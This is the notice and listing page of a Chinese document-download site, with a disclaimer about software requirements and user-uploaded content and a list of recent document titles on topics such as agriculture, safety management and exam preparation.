温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 环保信用评价管理办法
- 客户会员档案电子化录入规范
- 酵素饮品的饮用指导手册
- 颈椎牵引理疗操作服务指南
- 老客户转介绍激励机制设置
- 草莓灰霉病突发应急处置方案
- 化工园区安全风险分级管控指南
- 苹果树腐烂病刮治技术
- 肉牛越冬防寒保膘饲养制度
- 安全教育培训考核管理办法
- 【中学】【带班育人方略】琢玉成器 成就最美的自我
- 矿井电缆维修方案范本
- 2025年国家审计署公务员招聘面试经验与模拟题集
- 京瓷哲学的培训课件
- 淋膜基础知识培训课件
- 《电动汽车储能系统原理与维修》课件-项目四 北汽新能源EV200动力蓄电池
- 2026届湖南长沙青竹湖重点中学中考语文适应性模拟试题含解析
- 《养老社区停车空间选址及车位配建指标指南》
- 检验检测机构内审员考试试卷(附答案)
- 《文言文二则》(第1课时)教学课件
- 2025年广东中山大学孙逸仙纪念医院基础与转化医学研究中心实验岗位招聘2人笔试历年专业考点(难、易错点)附带答案详解
评论
0/150
提交评论